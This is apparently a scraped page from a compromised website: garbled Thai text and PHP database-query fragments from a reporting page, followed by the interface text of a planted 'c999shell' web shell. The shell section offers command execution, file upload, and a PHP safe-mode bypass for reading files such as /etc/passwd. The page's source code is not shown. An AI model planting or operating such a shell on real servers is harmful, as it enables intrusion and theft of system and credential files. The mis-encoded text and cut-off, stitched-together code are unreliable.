            ЁГФВёГГБ
            ЎТГ·У§Т№

              а»з№·ХБ
            ЁУ№З№
            ГйНВЕРЎТГБШи§јЕ
КСБД·ёФм
          
          
            
            
              
            
              execQuery($sql);
					$rs19 = $dbObj->fetchArray($result19);
					  echo $rs19['num1'];
			    ?>
            
            execQuery($sql);
					$rs12 = $dbObj->fetchArray($result12);
						echo $rs12['num1'];
			    ?>              
            
              execQuery($sql);
					$rs13 = $dbObj->fetchArray($result13);
						echo $rs13['num1'];
			    ?>
            
            execQuery($sql);
					$rs14 = $dbObj->fetchArray($result14);
						echo $rs14['num1'];
			    ?>
            execQuery($sql);
					$rs15 = $dbObj->fetchArray($result15);
						echo $rs15['num1'];
			    ?>
            execQuery($sql);
					$rs16 = $dbObj->fetchArray($result16);
						echo $rs16['num1'];
			    ?>
            
						
            
          
          
             
            КГШ»
            
						
            
						
            
						
            
						
            
						
            
						
            
						
          
          
             
            КСґКиЗ№
            
						
            
						
            
						
            
						
            
						
             
             
          
        
      
     
    
  




freeresult($result);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>
bool(false)
:: Command execute ::
Enter:	Select:
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Search ::
:: Upload ::
:: Make Dir ::
:: Make File ::
:: Go Dir ::
:: Go File ::
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--